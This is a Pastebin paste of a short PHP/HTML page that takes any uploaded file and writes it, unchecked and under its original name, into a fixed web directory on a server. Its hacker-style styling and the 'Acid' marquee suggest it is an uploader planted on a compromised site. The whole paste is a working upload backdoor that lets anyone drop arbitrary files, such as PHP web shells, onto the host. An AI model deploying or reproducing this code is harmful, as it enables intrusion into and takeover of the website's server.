Advertisement
Guest User

Untitled

a guest
Jul 23rd, 2019
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.10 KB | None | 0 0
  1. http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  2. <html xmlns="http://www.w3.org/1999/xhtml">
  3. <head>
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  5. <title>dd</title>
  6. </head>
  7. <body bgcolor="white">
  8. <?php
  9. $uploaddir = '/opt/info/www/rsu/cooperacion/'; // Change the directory as per the requirement
  10. $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
  11. if(move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile)) { print '<body bgcolor=#000></br></br><div
  12.  
  13. align=center><font size=5 color=#ff0000>uploaded successfully</font></body>';
  14. } else { print '<body
  15.  
  16. bgcolor=#000></br></br><div align=center><font size=5 color=#ff0000Error !
  17. </font> <marquee> Acid </marquee> </body>'; }
  18. ?>
  19. <div style=" color:#F00;text-align:center; margin-top:60px; font-size:25px;
  20. ">&gt;&gt; &nbsp; Upload Your file </div>
  21. <div style="padding-top:75px;margin-left:450px;width:340px; height:70px;">
  22. <form enctype="multipart/form-data" action=" " method="post">
  23. <input name="userfile" type="file" />&nbsp;
  24. <input type="submit" value="Upload" />
  25. </form>
  26. </div>
  27. </body>
  28. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement